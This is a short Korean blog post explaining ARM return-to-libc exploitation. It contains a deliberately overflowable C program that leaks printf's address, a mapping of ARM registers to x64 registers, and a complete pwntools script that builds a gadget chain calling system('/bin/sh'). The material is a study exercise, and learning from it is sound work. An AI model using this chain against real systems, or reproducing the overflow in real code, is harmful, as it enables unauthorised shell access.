일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 |
- pwnable
- gogs
- 코드게이트2017
- Git
- 코드게이트
- 노드 엑셀
- module
- Codegate
- NGINX
- node
- CODEGATE2018
- pwntools
- xlsx
- doorlock
- shellcraft
- https
- node.js
- blueborne
- gogs private git
- BLUETOOTH
- npm
- https설정
- 도메인 https
- codegate2017
- Branch
- 코드게이트 주니어
- CVE
- lob
- openctf
- Hacking
- Today
- Total
고졸백수해킹일기
ARM exploit 본문
ARM exploit에 대해서 간략한 설명.
// gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[54] = "";
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 100); }
void main(){
vuln();
}
lazenca.net의 유명한 소스.
arm 아키텍쳐는 x64와 매우 비슷하다.
pop ebp; ret == pop {r11, pc}
call == bl
r0 == rdi
r1 == rsi
r2 == rdx
r3 == rcx
r11 == rbp
sp == rsp
함수의 인자들이 r0부터 차례대로 들어간다.
그렇기에 함수에 진입했을때 레지스터의 값만 바꿔주면 인자가 들어간다.
x64 exploit에서 "pop rdi;ret" 가젯을 사용했으니
arm에서는 "pop {r0, pc}"
from pwn import *
p = process('./ret2libc')
#p = process('./ret')
context(arch='arm',os='linux')
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
libcBase = stackAddr - 0x48430
sysAddr = libcBase + 0x389c8
binsh = libcBase + 0x0012BB6C
popr4pc = libcBase + 0x0003a5c4
movr0r4 = libcBase + 0xf5754
print("libc : "+hex(libcBase))
print("system : "+hex(sysAddr))
print("/bin/sh : "+hex(binsh))
print("popr4pc : "+hex(popr4pc))
print("movr0r4 : "+hex(movr0r4))
print(b"gad : "+p32(popr4pc))
payload = b"A" * 60
payload += p32(popr4pc)
payload += p32(binsh)
payload += p32(movr0r4)
payload += b"ZZZZ"
payload += p32(sysAddr)
p.send(payload)
p.interactive()
'Pwnable' 카테고리의 다른 글
ophcrack (0) | 2022.11.25 |
---|---|
pdb symbol 수동으로 다운 (0) | 2020.08.14 |
defcon2017 smashme (exploit only) (0) | 2018.03.28 |
pwntools shellcraft 사용법 (0) | 2018.03.15 |
codegate2014 nuclear (0) | 2018.03.09 |